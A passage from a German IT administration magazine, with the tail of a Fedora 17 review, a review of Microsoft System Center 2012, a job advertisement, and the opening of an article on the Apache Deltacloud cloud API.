ist aber dennoch neben Ubuntu und Suse 

eine beliebte Desktop-Distribution, die beispielsweise 

als eine der ersten Distributionen Gnome 

3.4.1 als Standard-Desktop mitbringt. 

Gnome 3.4.1 enthält unter anderem die Applikation 

Gnome-Boxes, die Nutzern einen einfachen 

Zugriff auf virtuelle Maschinen ermöglicht. 

Ferner haben die Entwickler die Zusammenarbeit 

mit der Gnome-Extension-Site verbessert, 

sodass der Anwender in den Genuss von zur 

Zeit knapp hundert Erweiterungen gelangt, mit 

deren Hilfe sich das Verhalten der Gnome Shell 

in weiteren Bereichen den eigenen Wünschen 

anpassen lässt. 

Übrigens funktioniert die Gnome Shell bei Fedora 

17 mithilfe des Mesa-3D-Treibers Llvmpipe 

[9] auch ohne 3D-Beschleunigung, indem der 

Treiber die erforderlichen 3D-Berechnungen 

vom Hauptprozessor ausführen lässt. Aktuelle 

Desktop-Prozessoren sollten dafür allerdings 

genügend Leistungsreserven mitbringen. Das 

Software Rendering durch Llvmpipe sollte sogar 

in Virtualisierungsumgebungen ein flüssiges 

Arbeiten ermöglichen. 

Wer Fedora trotzdem lieber mit KDE-Desktop 

einsetzen möchte, kann entweder gleich zum 

KDE-Spin greifen oder die benötigten KDE-Pakete 

nachinstallieren, die bei Fedora 17 durchweg 

auf der KDE SC 4.8.3 basieren, was allerdings 

keine Neuerung gegenüber dem letzten Update 

für Fedora 16 darstellt. KDE-Desktop-Effekte 

funktionieren ohne passende 3D-Treiber nicht, 

sollen aber in einer der kommenden Versionen 

ebenfalls mithilfe von Llvmpipe möglich sein. 

Wahlweise kann der Fedora-Nutzer auch den 

ballastärmeren Xfce-Desktop in der Version 

4.08 nutzen. 

Die neueste Xfce-Version 4.10 vom April diesen 

Jahres steht dagegen nur in Form eines inoffiziellen 

Repositorys [10] zur Verfügung. Außerdem 

liegen LibreOffice in der Version 3.5.2.1 

und Gimp in der neuen Version 2.8 bei. Letzteres 

bringt unter anderem den von den Fans lang 

ersehnten Ein-Fenster-Modus mit. 


Fedora 17 

Test 

Ovirt eignet sich nicht nur für den Zugriff 

auf RHEV-Plattformen, sondern eignet 

sich zur Verwaltung aller Virtualisierungslösungen, 

die auf KVM basieren. 

Dazu muss auf virtuellen Desktops und 

Servern, die via Ovirt administrierbar 

sein sollen, ebenso wie auf dem Hypervisor 

zusätzlich zur Libvirt die Ovirt- 

Komponente VDSM installiert sein. 

Abbildung 4: Neu in Fedora 17: oVirt, das Management-Tool für auf KVM basierende Virtualisierungsumgebungen. 

der Sandbox zur Verfügung stehen, nachdem 

er »libvirt‐sandbox« via »yum install 

libvirt‐sandbox« installiert hat. 

Virtuelle Sandbox sperrt 

Anwendungen ein 

Die Einsatzmöglichkeiten für Libvirtsandbox 

sind zahlreich. Daniel Berrange 

führte in seinem Vortrag beispielsweise 

die Möglichkeit an, Server-Anwendungen 

wie Apache rein virtuell zu hosten oder 

RPM-Pakete in einer isolierten Umgebung 

zu bauen. Auch auf Anwenderseite 

sind Einsatzszenarien vorstellbar, etwa 

das Verarbeiten nicht vertrauenswürdiger 

Multimedia-Streams oder das Einsperren 

des gesamten Web-Browsers in 

den virtuellen Sandkasten. Das brächte 

etwa beim Online-Banking den Vorteil, 

dass der Rechner während der Dauer der 

Banking-Session von übrigen Internet- 

Aktivitäten isoliert bliebe. 

Bildschirmausgaben aus der VM an das 

Host-System lassen sich außer mit VNC 

bei Fedora auch via „Spice“ erledigen, das 

seit dem Kauf von Qumranet durch Red 

Hat im Jahr 2008 auch in Fedora verfügbar 

ist. Die Libvirt-Sandbox ist laut Daniel 

Berrange flexibler einsetzbar als die 

bereits seit dem Jahr 2009 in RHEL und 

Fedora verfügbare SELinux-Sandbox. 

Apropos SELinux: Dies ist in der in 

Fedora 17 enthaltenen Version in der 

Lage, Prozessen zu verbieten, mithilfe 

des Funk tionsaufrufes »ptrace« (Process 

Trace) den Speicher anderer Prozesse 

zu analysieren, ähnlich wie beim im aktuellen 

Kernel 3.4 enthaltenen Security 

Modul Yama. Allerdings muss der Admin 

das Feature mit »setsebool ‐P deny_ptrace 

1« explizit einschalten. Weitere Einzelheiten 

zu Virtsandbox finden sich im 

Fedora-Wiki [8]. Ferner unterstützt Virt- 

Manager in Fedora 17 auch das Durchreichen 

von USB-Geräten. 

Fedora 17 enthält als erste freie Distribution 

das Virtualisierungs-Managementsystem 

Ovirt in Version 3.0.0, das 

nun nicht mehr als Vorabversion gilt 

[7]. Eine aktuellere Version findet sich 

auch auf der Ovirt-Projektseite [8] nicht, 

und schneller als mit Fedora 17 lässt 

sich die Lösung kaum testen. Mit Ovirt 

hat Red Hat seit einiger Zeit eine Javabasierte 

Verwaltungsoberfläche für seine 

Enterprise Virtualisierung in Arbeit, die 

insbesondere beim eigenen RHEV das 

bisher fehlende Puzzleteil darstellt, um 

Red Hats Virtualisierung-Stack ohne Hilfe 

einer Windows-Maschine administrieren 

zu können. 

VM-Management jetzt ohne 

Windows 

Was absurd kling, hat einen konkreten 

Hintergrund, denn Red Hat hat im Jahr 

2008 nicht nur den vom israelischen 

KVM-Spezialisten Qumranet entwickelten 

KVM-Hypervisor übernommen, sondern 

in der Hoffnung, sich mit einer eigenen 

Technologie gegen die etablierten Virtualisierungsanbieter 

VMware und Citrix 

positionieren zu können, auch gleich 

die ganze Firma samt ihres bereits fast 

fertig entwickelten Desktop-Virtualisierungs-Produktes 

gekauft. Dummerweise 

enthielt das Qumranet-Produkt auch einige 

lästige Abhängigkeiten von .NET 

und Active Directory, die Linux-Admins 

bisher ein Dorn im Auge waren. 

Erst mit der Ende 2011 veröffentlichten 

Version 3.0 von RHEV hatten es 

die Red- Hat-Entwickler geschafft, das 

Management-Tool von C# auf Java zu 

portieren, sodass die Software jetzt mit 

einem JBoss als Applikationsserver läuft. 

Fazit 

Wie üblich zündet Fedora 17 ein Feuerwerk 

neuer Funktionen und integriert aktuellste 

Entwicklungen der Open-Source- 

Welt. Während einiges davon, wie die 

Gnome-3.4.1-Integration, vorrangig für 

Anwender von Bedeutung und anderes, 

wie die Umstrukturierung zentraler Verzeichnisse, 

auch umstritten ist, bietet 

Fedora vor allem Administratoren eine 

einfache Möglichkeit, mit den neuesten 

Technologien der Red-Hat-Entwickler zu 

experimentieren. Red Hat ist einer der 

wenigen Enterprise-Linux-Hersteller von 

wirtschaftlich und technologisch herausragendem 

Stellenwert und positioniert 

sich mit seinen Cloud- und Virtualisierungstechnologien 

als dritte Kraft neben 

VMware und Citrix. Die Community- 

Distribution Fedora 17 ermöglicht einen 

schnellen Blick auf Red Hats Management-Framework 

Ovirt oder die neuesten 

KVM-Erweiterungen. (ofr) 

n 

Infos 

[1] Fedora 17:[http:// fedoraproject. org/ de/ 

get‐fedora‐options] 

[2] DIET:[http:// fedoraproject. org/ wiki/ 

Features/ F17_DIET] 

[3] UsrMove: [http:// fedoraproject. org/ wiki/ 

Features/ UsrMove] 

[4] Workaround Fedora Upgrade: [https:// 

fedoraproject. org/ wiki/ Upgrading_Fedora_ 

using_yum# Fedora_16_‐. 3E_Fedora_17] 

[5] Libvirt-Sandbox: [http:// fedoraproject. 

org/ wiki/ Features/ VirtSandbox] 

[6] Plan9FS: [http:// wiki. qemu. org/ 

Documentation/ 9psetup] 

[7] Ovirt-Projekt: [http:// www. ovirt. org/] 

[8] Ovirt auf Fedora: [https:// fedoraproject. 

org/ wiki/ Features/ oVirt] 

[9] Mesa-3D-Treiber „Llvmpipe“: [http:// www. 

mesa3d. org/ llvmpipe. html] 

[10] Xfce 4.10:[http:// repos. fedorapeople. org/ 

repos/ kevin/ xfce‐4. 10/] 


Admin 


109

Test 

System Center 2012 

© coliap, 123RF 

Microsoft System Center 2012 – Management in der Cloud 

Rundum sorglos 

Mit dem System Center 2012 bietet Microsoft die umfassende Lösung für das Management von Server-Installationen 

bis hin zu verteilten Umgebungen. Selbst Linux-Rechner lassen sich damit überwachen. Thomas Joos 

Die neue Version der Management Suite 

System Center 2012 konzentriert sich vor 

allem auf die Verwaltung von Private 

Clouds. Die Lizenzierung der neuen Version 

hat Microsoft vereinfacht und die 

Editionen zusammengefasst. Das neue 

System Center 2012 [1] ist nur noch als 

Paket erhältlich und soll die Server-Verwaltung 

im Unternehmen wesentlich verbessern. 

Die Produkte lassen sich nicht 

mehr einzeln erwerben, mit Ausnahme 

des Virenschutzes Endpoint Protection 

2012. Um Unternehmen den Einstieg in 

die komplette Suite zu ermöglichen, gibt 

es nur noch zwei Editionen. Diese enthalten 

alle notwendigen Tools, um Server 

im Netzwerk zu verwalten. Zusätzliche 

Produkte von Drittherstellern sollen für 

Unternehmen entfallen. Die Lizenzierung 

erfolgt auf Basis der verwalteten Endgeräte. 

In der neuen Version hat Microsoft 

auch verstärkt darauf geachtet, dass die 

Produkte in System Center durchgängig 

über die Powershell ansprechbar sind. 

Das soll das Skripten erleichtern und eine 

Automatisierung ermöglichen. 

System Center 2012 besteht aus acht Produkten, 

die alle Belange einer Serververwaltung 

abdecken: 

n Der System Center Configuration Manager 

2012 (SCCM) dient vor allem der 

Verwaltung von Endgeräten und den 

installierten Anwendungen. Die neue 

Version hat die Anwender selbst und 

deren wechselnde Geräte im Fokus. 

Auch Smartphones lassen sich mit der 

neuen Version verwalten. 

n Der System Center Operations Manager 

2012 (SCOM) hat vor allem die 

Überwachung der mit SCCM installierten 

Server und Netzwerkgeräte im 

Fokus und ergänzt den SCCM. 

n Der System Center Data Protection 

Manager 2012 (SCDPM 2012) stellt 

die Datensicherungslösung im System 

Center dar. Die Lösung kann alle 

Server im Netzwerk, auch Serverlösungen, 

sichern und die Sicherungen 

zentral verwalten. 

n System Center Service Manager 2012. 

Der wichtigste Fokus des Produktes 

ist die Anbindung als zentrale Verwaltungsoberfläche 

und Knotenpunkt 

für alle System-Center-Produkte im 

Unternehmen sowie die Bildung von 

Schnittstellen und deren Verknüpfung 

und Automatisierung. 

n Der System Center Virtual Machine 

Manager 2012 (SCVMM) verwaltet virtuelle 

Server im Netzwerk. Hier lassen 

sich neben Hyper-V auch andere 

Virtualisierungslösungen wie vSphere 

anbinden. Viele Unternehmen haben 

SCVMM außerhalb von System Center 

lizenziert und müssen bei der neuen 

Version deutlich tiefer in die Tasche 

greifen. 

n Der System Center Orchestrator 2012 

dient der Automatisierung von IT-Prozessen. 

Microsoft hat das zugekaufte 

Produkt Opalis in SCO umbenannt 

und in der neuen Version für die Verwaltung 

mit der Powershell erweitert. 

Wie der Service Manager findet auch 

dieses Produkt derzeit nur wenig Anklang. 

n Der System Center App Controller 

2012 soll dabei helfen. Anwendungen 

im Unternehmen zentral zu verwalten 

und zwar in einer Private Cloud oder 

der Cloud eines Herstellers. Das Tool 

verwaltet Vorlagen für Anwendungen, 

die sich über andere System-Center- 

Produkte bereitstellen lassen. 

n Bei System Center Endpoint Protection 

2012 handelt es sich um einen Virenschutz, 

der sich mit SCCM verwalten 

und verteilen lässt. 

Der System Center Configuration Manager 

2012 ist das wichtigste Produkt im 

neuen System Center. Microsoft integriert 

die Funktionen des System Center Mobile 

Device Manager 2008 komplett in SCCM, 

der jetzt Windows Phone 7/7.5-Geräte 

und andere Systeme verwalten kann. 

SCCM 2012 konzentriert sich im Gegensatz 

zu Vorgängerversionen nicht auf die 

PCs der einzelnen Anwender, sondern 

auf die Anwender und die benötigten 

Applikationen selbst. 

Benutzerorientiert 

Die Definition eines primären Gerätes 

hilft bei der Verteilung von Anwendun- 



Test 

gen. Umgekehrt können Administratoren 

auch einem Gerät 

mehrere Anwender zuweisen. 

Geräten lassen sich auch 

primäre Anwender zuweisen, 

die dann wiederum im System 

ihre Arbeitszeit hinterlegen 

können. Auf Basis dieser 

Daten kann SCCM 2012 dann 

entscheiden, welche Anwendungen 

mit den unterschiedlichen 

Technologien angeboten 

werden (Abbildung 1). 

Auf seinem primären Gerät erhält 

der Anwender zum Beispiel 

eine lokale Installation 

seiner benötigten Anwendungen. 

Arbeitet er an einem anderen Gerät, 

erhält er Zugriff über App-V oder einen 

Remotedesktop. Außerdem können Administratoren 

Abhängigkeiten zwischen 

Anwendungen konfigurieren, sodass immer 

die notwendigen Tools und Anwendungspakete 

auf den PCs installiert sind. 

SCCM kann Anwendungen auch wieder 

von PCs entfernen und deinstallieren. 

Die Installation von Anwendungen kann 

automatisiert erfolgen. Alternativ installieren 

die Anwender die zugeordneten 

Programme über das neue Webinterface 

selbst auf dem Endgerät. Im Portal sehen 

Anwender dann alle Programme, die 

sie auf dem entsprechenden Gerät verwenden 

können. Microsoft spricht hierbei 

von benutzerorientierter Verwaltung 

(User Centric Management, UCM). 

Geräten, die Unternehmen im Schichtbetrieb 

einsetzen, können Administratoren 

auch mehrere primäre Anwender zuteilen. 

Über diesen Weg lässt sich die IT-Infrastruktur 

also sehr detailliert darstellen. 

Auch Apps für mobile Endgeräte verwalten 

Administratoren auf diese Weise. 

Neben diesen Möglichkeiten lassen sich 

Anwendungen auch in Abhängigkeit voneinander 

setzen. Soll auf einem Computer 

zum Beispiel die Anwendung A installiert 

werden, die von B abhängig ist, dann installiert 

SCCM erst die Anwendung B und 

anschließend die Anwendung A. Geräte, 

die an SCCM 2012 angebunden sind, zum 

Beispiel Computer mit Windows 7, verfügen 

in der Systemsteuerung über einen 

neuen Bereich »Configuration Manager«. 

Hierüber lassen sich verschiedene Einstellungen 

vorgeben und anzeigen, die 

das Gerät mit der System-Center-Infra- 

Abbildung 1: Die benutzerzentrierte Verwaltung im Configuration Manager er laubt 

es, Geräte wie Computer oder Mobiltelefone einzelnen Anwendern zuzuweisen. 

ähnlich wie Exchange Server 

2010. Administratoren können 

einzelne Verwaltungsaufgaben 

an Benutzer delegieren. 

Dazu bietet das System Center 

bereits vorgefertigte Verwaltungssrollen 

an, zum Beispiel 

zur Verwaltung von Endpoint 

Protection. Natürlich lassen 

sich auch eigene Rollen mit 

entsprechenden Rechten anlegen. 

Zur Verwaltung hinterlegen 

Administratoren zunächst 

die Benutzerkonten, die Verwaltungsrechte 

erhalten sollen, 

in der Management Konsole 

des System Center. Dabei 

kann das System Center natürlich auch 

auf Benutzer aus Active Directory zugreifen. 

Den Benutzern lassen sich dann 

entsprechenden Verwaltungsrollen zuweisen, 

womit sie Verwaltungsrechte erhalten. 

Die Verwaltung der Rollen basiert 

zusätzlich zu den zugewiesenen Rollen 

auf Security Scopes. Dabei handelt es 

sich um Sammlungen von Geräten, die 

an das System Center angebunden sind. 

Security Scopes können zum Beispiel 

Computer einer Niederlassung sein, die 

nur bestimmte Administratoren verwalten 

dürfen. Ebenfalls integriert ist das 

User State Migration Tool (USMT) 4.0, 

um Benutzereinstellungen zu übernehmen. 

Das Booten über Netzwerk (PXE) 

funktioniert wesentlich zuverlässiger 

und einfacher. Installationen von Anstruktur 

anbinden. SCCM hilft auch bei 

der Bereitstellung von Betriebssystemen 

im Unternehmen. Linux und Unix lassen 

sich mit SCCM 2012 besser verwalten 

als mit den Vorgängerversionen. Optimal 

unterstützt das Produkt AIX, HP-UX, Red 

Hat Enterprise Linux, Solaris und Suse 

Linux Enterprise Server. 

Standortverwaltung 

Die Verwaltung von Standorten hat Microsoft 

überarbeitet. Die oberste Ebene 

einer SCCM 2012-Infrastruktur ist die 

Central Administration Site (CAS). Mit 

dieser lassen sich alle Standorte anbinden 

und verwalten. Der CSA sind keine 

Clients zugeordnet, sie dient nur der zentralen 

Verwaltung aller Server und Sites. 

Über eine CSA lassen sich mehrere primäre 

Sites zentral verwalten. Die CSA behält 

dazu Kontrolle über die Datenbank, 

die zentrale Konfiguration der SCCM-Infrastruktur 

und kann Berichte erstellen. 

Sekundäre Sites lassen sich zu Distribution 

Points herabstufen, primäre Sites 

lassen sich nicht mehr anpassen. Auf 

diese Weise gestaltet sich die Verwaltung 

wesentlich einfacher als in der Vorgängerversionen. 

Neu ist die Active Directory 

Forest Discovery. Mit dieser Technik kann 

SCCM 2012 mehrere Active-Directory-Gesamtstrukturen 

erkennen und verwalten. 

Die Verwaltungsoberfläche hat Microsoft 

komplett überarbeitet. 

Rechte durch Rollen 

SCCM 2012 arbeitet mit einer rollenbasierten 

Zugriffsberechtigung (RBAC), 

C13 


Admin 


111

Test 


wendungen und Patches lassen sich in 

Offline-Bereitstellungen von WIM-Images 

integrieren und an angebundene Clients 

verteilen. Auch hier arbeitet SCCM 2012 

wesentlich zuverlässiger als die Vorgängerversionen. 

Für die Verwendung des 

Exchange-Server-Connectors lässt sich 

Exchange Server 2010 anbinden. Über 

diesen Connector liest SCCM 2012 die 

Activesync-Richtlinien von Exchange 

ein und leitet sie an die angebundenen 

Endgeräte weiter. SCCM 2007 unterstützt 

ältere Windows Mobile-Versionen mit 

eigenen Verwaltungsfunktionen. Diese 

überschneiden sich mit den Activesync- 

Richtlinien. Daher geht SCCM 2012 einen 

anderen Weg und bindet die Exchange- 

Activesync-Richtlinien direkt von den 

Exchange-Servern ein. Hierbei handelt 

es sich um eine Technologie die SCCM 

2012 von System Center Device Manager 

2008 übernommen hat. Die entsprechenden 

Einstellungen finden sich in den 

Eigenschaften des Exchange-Server-Connectors. 

Über diesen Connector können 

Administratoren angebundene Endgeräte 

auch über das Internet löschen (Remote 

Wipe). Der Connector kann nicht nur 

Richtlinien von Exchange an die Clients 

weiterleiten, sondern auch Inventuren 

der angebundenen Geräte durchführen. 

Editionen und Lizenzen im 

Vergleich 

Mit der Standard Edition sollen Unternehmen 

lokal installierte Server verwalten 

können ebenso wie virtuelle Server. Für 

große Unternehmen ist die Datacenter 

Edition gedacht. Beide Pakete umfassen 

alle System-Center-Produkte sowie die 

notwendigen Lizenzen für die Installation 

einer SQL-Server-Datenbank. Der 

wesentliche Unterschied der beiden Editionen 

besteht in der erlaubten Anzahl 

installierter Betriebssysteme. 

Die Standard Edition erlaubt die Verwaltung 

von zwei installierten Systemen 

(Hyper-V-Host und eine VM), die Datacenter 

Edition eine unbegrenzte Anzahl. 

Allerdings sind pro Lizenz bei beiden 

Editionen nur zwei Prozessoren berücksichtigt. 

Die Kerne dieser CPUs spielen 

dabei keine Rolle. Ein Server mit vier 

Prozessoren benötigt daher zwei Lizenzen. 

Auch wenn Microsoft die Lizenzierung 

[2] vereinfacht hat, gibt es hierbei 

Abbildung 2: Mit Endpoint Protection 2012 können Administratoren den Virenschutz der verwalteten Systeme 

überwachen. 

immer noch viele Fallstricke. Zunächst 

spielen die installierten Betriebssysteme 

eine Rolle und zwar auf dem Virtualisierungs-Hosts 

und den virtuellen Servern. 

Allerdings müssen hier nur die verwalteten 

Systeme einbezogen werden, nicht 

die Verwaltungs-Server und auch nicht 

die Datenbankserver. Dann müssen Administratoren 

noch die Prozessoren der 

angebundenen Clientsysteme zählen. Auf 

dieser Basis ist dann die Entscheidung 

zu fällen, ob mehrere Standard-Edition- 

Lizenzen günstiger sind als wenige Datacenter-Editionen. 

Dazu kommen noch 

die verschiedenen Verträge, die Unternehmen 

mit Microsoft eingehen können. 

Im Schnitt kostet die Datacenter-Edition 

knapp das Dreifache der Standardedition 

(3600 gegenüber 1300 US-Dollar). Wer 

die Software einsetzen will, kommt um 

eine ausführliche Lizenzberatung nicht 

herum. Ein Whitepaper [3] beantwortet 

die häufigsten Fragen. 

Virenschutz 

Bestandteil des Pakets ist Microsoft 

Forefront Endpoint Protection 2012, ein 

Virenschutz, der sich mit den anderen 

Produkten im System Center überwachen 

lässt. Forefront Endpoint Protection ist 

das einzige Tool im System-Center-Paket, 

das Unternehmen auch einzeln kaufen 

können. Mit Endpoint Protection 2012 

können Administratoren den Virenschutz 

direkt aus System Center Configurations 

Manager 2012 steuern und mit Operations 

Manager 2012 überwachen (Abbildung 

2). Basis von Endpoint Protection sind 

die Antimalware-Policies, die Administratoren 

in der Verwaltungsoberfläche des 

System Center Configuration Managers 

steuern. In der Konsole lassen sich verschiedene 

Richtlinien erstellen und damit 

perfekt an die verschiedenen Server und 

Computer im Unternehmen anpassen. 

Eine Richtlinie besteht aus einem Satz 

von Einstellungen, die festlegen, wann 

ein Client nach Viren suchen soll, wie 

das Verhalten der Software ist, wenn ein 

Virus entdeckt wird, und ob die Software 

auch Netzlaufwerke und E-Mails nach 

Viren durchsuchen soll. 

Endpoint Protection bindet sich in die 

Verwaltungswerkzeuge des System Center 

ein und erlaubt einen Scan von Computern 

im Netzwerk. Neben dem Virenschutz 

kann Endpoint Protection über 

die System Center Configurations Manager-Konsole 

auch Firewall-Einstellungen 

auf Rechnern vorgeben. Durch die Integration 

des Virenschutzes in das System 

Center ist keine getrennte Überwachung 

von Alarmen notwendig. Informationen 

und Benachrichtigungen des Virenschutzes 

sind direkt in das System Center mit 

eingebunden. Außerdem lassen sich eigene 

Berichte erstellen, die den Virenschutz 

dokumentieren. Administratoren, 

die sich einen Überblick über die Mög- 



Test 

lichkeiten von System Center 2012 und 

den integrierten Virenschutz verschaffen 

wollen, verwenden am besten eines der 

verschiedenen Technet Virtual Labs [4]. 

Ein Virtual Lab ist eine Remote-Desktop- 

Verbindung zu einem virtuellen Server 

und Client, auf dem bereits das System 

Center installiert und eingerichtet ist. Die 

Verbindung erfolgt am besten über eine 

Internet-Explorer-Sitzung. 

Software-Verwaltung 

Um in System Center 2012 mit System 

Center Configuration Manager 2012 Anwendungen 

zur Verfügung zu stellen, 

definieren Administratoren zunächst ein 

primäres Gerät für den Anwender. Hierbei 

handelt es sich um den standardmäßigen 

Arbeitsplatz. Anwender können 

benötigte Programme auch selbst aus 

dem Software-Katalog des SCCM 2012 

auswählen und installieren. Administratoren 

müssen für einzelne Sites den Server 

vorgeben, der den Katalog verwalten 

soll. Dazu ist es notwendig, die entsprechende 

Systemrolle auf einem Server in 

der Site zu installieren. Starten Administratoren 

den Assistenten zur Installation 

von neuen Systemrollen, lässt sich der 

entsprechende Server und anschließend 

die Rolle auswählen, die auf dem Server 

installiert werden soll. Damit Anwender 

selbst Programm über den Anwendungskatalog 

auswählen können, sind in der 

Site die Rollen »Application Catalog Web 

Service Point« und »Application Catalog 

Website Point« notwendig. 

Heterogene Netze 

In OPS 2012 gibt es keinen Root Management 

Server (RMS) mehr, alle Verwaltungsserver 

sind gleichberechtigt. 

Fällt ein Management-Server aus, übernehmen 

andere Server seine Aufgaben. 

In Vorgängerversionen bis OPS 2007 R2 

musste in Umgebungen mit hochverfügbaren 

Servern der RMS-Server geclustert 

sein, um einen Ausfall zu verhindern. 

Management-Server in OPS 2012 sind 

nicht mehr clusterfähig. 

Mehrere Verwaltungsserver lassen sich 

zu Gruppen zusammenfassen. Anwendungen 

und Netzwerkhardware wie Switches, 

Firewalls oder Router lassen sich 

mit OPS 2012 effizienter überwachen. In 

diesem Bereich kann OPS 2012 auch die 

Leistung und Verfügbarkeit der Komponenten 

besser beurteilen und darstellen. 

Die neue Version erkennt zum Beispiel, 

an welchem Port eines Switches ein überwachter 

Server angeschlossen ist und 

kann speziell diesen überwachen. Auch 

für die Darstellung der Infrastruktur ist 

das sinnvoll. Um einzelne Anwendungen 

im Netzwerk besser zu überwachen, bietet 

OPS 2012 auch die Unterstützung von 

Java-Enterprise-Webanwendungen, zum 

Beispiel mit Websphere 6.1/7, Weblogic 

10 und 11, JBoss und Tomcat. Administratoren 

können OPS 2012 auch über eine 

Webkonsole verwalten. Auch Webparts 

für die Einbindung in das eigene Intranet, 

zum Beispiel über Sharepoint stehen zur 

Verfügung. Administratoren können sich 

in der neuen Version eigene Dashboards 

erstellen, die genau die Informationen 

enthalten, die notwendig sind. Zusätzlich 

bietet die neue Version eine noch bessere 

Verwaltung in der Powershell an. 

Auch für Linux 

OPS 2012 arbeitet mit 

dem Sicherheitsmodell 

von Linux zusammen 

und erfordert nicht immer 

vollständige Root- 

Rechte. Nur wenn ein 

bestimmter Überwachungsprozess 

erweiterte 

Rechte benötigt, 

bekommt dieser auch 

unter Linux mehr 

Rechte. Für Linux/ 

Unix gibt es spezielle 

eigene Agents. Offiziell 

nennt Microsoft 

die folgenden Linux-/ 

Unix-Systeme: HP-UX 

11i v2 und v3 (PA-RISC 

und IA64), Oracle Solaris 

9 (Sparc) und Solaris 

10 (Sparc und x86), 

Red Hat Enterprise Linux 

4, 5, und 6 (x86/ 

x64), Novell SUSE Linux 

Enterprise Server 

9 (x86), 10 SP1 (x86/ 

x64), and 11 (x86/x64), 

IBM AIX 5.3, AIX 6.1 

(Power) und AIX 7.1 

(Power). (ofr) n 

Infos 

[1] Microsoft System Center 2012: [http:// 

www. microsoft. com/ de‐de/ server/ 

system‐center/ 2012. aspx] 

[2] Produktlizenzierung System Center 

2012: [http:// www. microsoft. com/ 

de‐de/ licensing/ produktlizenzierung/ 

system‐center‐2012. aspx] 

[3] Licensing Datasheet: [http:// download. 

microsoft. com/ download/ 8/ F/ 2/ 8F24D 

CBF‐C487‐465B‐9193‐FA7620E1482A/ 

SystemCenter2012_LicensingDatasheet. pdf] 

[4] Technet Virtual Labs zu System Center: 

[http:// technet. microsoft. com/ en‐us/ 

systemcenter/ om/ bb539977] 

Der Autor 

Thomas Joos ist freiberuflicher IT-Consultant und 

seit über 20 Jahren in der IT tätig. Neben seinen 

Projekten schreibt er praxisnahe Fachbücher 

und Fachartikel rund um Windows und andere 

Microsoft-Themen. Online trifft man ihn unter 

[http:// thomasjoos. spaces. live. com]. 

Carhartt WIP hat die traditionellen Workwear-Bestandteile in Bezug 

auf außergewöhnliche Qualität, Haltbarkeit und Komfort sorgfältig 

angepasst, das herausragende Design neu interpretiert und miteinander 

kombiniert. Unsere Vertriebspolitik besteht aus ausgewählten 

Einzelhändlern in urban, lifestyle, Menswear und Avantgarde Märkten. 

Wir suchen für unseren Hauptsitz in Weil am Rhein zum 

nächstmöglichen Zeitpunkt eine / n 

Webshop Administrator (m/w) 

Deine Aufgaben: 

Administration, Wartung, sowie 1st Level Anwendersupport der 

B2B-spezifischen Anwendungen und Infrastruktur 

Kontrolle / Überwachung der B2B-bezogenen Systemprozesse 

Technische Abwicklung von Projekten zur Weiterentwicklung / 

Optimierung der B2B Systemlandschaft 

Fortlaufende technische Dokumentation der B2B-Systemlandschaft 

und der darin abgebildeter Prozesse 

Dein Profil: 

Ausbildung zur/ zum Fachinformatiker / in oder ähnliche technische 

Ausbildung 

2-3 Jahre Berufserfahrung 

Erfahrung mit „Hybris“ von Vorteil 

Webentwicklungserfahrung von Vorteil 

Belastbar, flexibel und teamfähig 

Eigeninitiatives, selbstständiges Arbeiten 

Bewirb Dich online mit Angabe Deiner Gehaltsvorstellung und des 

frühestmöglichen Eintrittstermins unter: www.carhartt-wip.com/jobs 


cardhartt.indd 1 

Admin 


22.06.2012 16:12:34 Uhr 

113


Deltacloud 

© Wolfgang Grossmann Wolfgang, 123RF 

Eine API, viele Clouds 

Anschlussfreudig 

Heute bringt jede Cloud-Offerte ihre eigene, proprietäre API mit. Das birgt für den Anwender die Gefahr der Abhängigkeit 

von einem bestimmten Anbieter, weil eine Migration zur Konkurrenz nahezu unmöglich ist. Apache 

Deltacloud löst dieses Problem dank einer einheitlichen API für alle IaaS-Clouds, die sich so mit Treibern an öffentliche 

wie private Angebote anpassen lassen. David Lutterkort 

Zwar wird schon seit geraumer Zeit darüber 

diskutiert, doch haben sich beim 

Cloud Computing bislang keine Standards 

etabliert. Noch immer ist vieles in 

Bewegung. In den letzten Jahren entstanden 

eine Reihe öffentlicher Clouds wie 

Amazon Elastic Compute Cloud (EC2) 

[1], Amazon Simple Storage Service 

(S3) [2] oder Jiffybox [3]. In den USA 

etwa kommen Anbieter wie Gogrid [4], 

Rackspace [5] und Terremark [6] dazu. 

Clouds sind noch immer eine sehr junge 

Technologie, um Applikation und Dienste 

bereitzustellen. Jeder Betreiber und auch 

sehr viele proprietär ausgerichtete Technologielieferanten 

folgen ihren eigenen 

Vorstellungen und steuern die Applikationssicht 

auf ihre Weise. Dagegen wollen 

Unternehmen sich natürlich nur ungern 

an einen einzelnen Cloud-Anbieter binden. 

Interoperabilität, die einen Wechsel 

zwischen Cloud-Anbietern ermöglichen 

würde, ist daher besonders wichtig. 

Privatwolken 

Während es auf der einen Seite ein 

durchaus beachtliches Angebot öffentlicher 

Clouds gibt, haben auf der anderen 

Seite viele Unternehmen ihre privaten 

Clouds implementiert, die Applikationen 

und Computing Services über das 

eigene LAN/WAN bereitstellen. In den 

USA betreiben Unternehmen oft bereits 

Dutzende von Clouds, in Deutschland dagegen 

befinden sich viele noch im Experimentierstadium 

und nur wenige haben 

die ersten privaten Clouds tatsächlich im 

produktiven Betrieb. Reicht die Leistungsfähigkeit 

der internen Clouds nicht mehr 

aus, wäre es wünschenswert, zusätzliche 

Ressourcen öffentlicher Clouds nutzen 

zu können. Was dafür allerdings lange 

Zeit fehlte, war eine Möglichkeit, beide 

Welten miteinander zu verknüpfen. 

Ein weiterer Aspekt des Themas Interoperabilität 

besteht darin, dass sich 

unabhängige Softwarehersteller bei der 

Entwicklung neuer Anwendungen frühzeitig 

entscheiden müssen, in welcher 

der bestehenden Clouds ihre Software 

laufen soll. Das Erscheinen jeder neuen 

Cloud mit eigenem API verursacht hier 

zusätzlichen Aufwand. Es gibt daher gute 


Deltacloud 


Gründe, die für eine konsistente, standardisierte 

Cloud-Computing-API sprechen. 

Auch wenn die Amazon-Cloud-Angebote 

wie EC2 oder S3 für ihre jeweiligen Einsatzgebiete 

bereits zweckdienliche APIs 

bereitstellen, sind sie dennoch keine 

generelle Lösung für andere öffentliche 

Clouds. Aus diesem Grund entschloss 

sich Red Hat im Herbst 2009, diese Lücke 

mit einem Open-Source-Projekt zu 

schließen, das sowohl ein einheitliches 

Interface definiert als auch Adapter für 

die wichtigsten öffentlichen und privaten 

Clouds implementiert (Abbildung 1). Damit 

wird der Aufwand, neu erscheinende 

Clouds zu unterstützen, von den Applikationen 

zu ebendieser API, der Deltacloud, 

verschoben. 

War Deltacloud anfangs ein originäres 

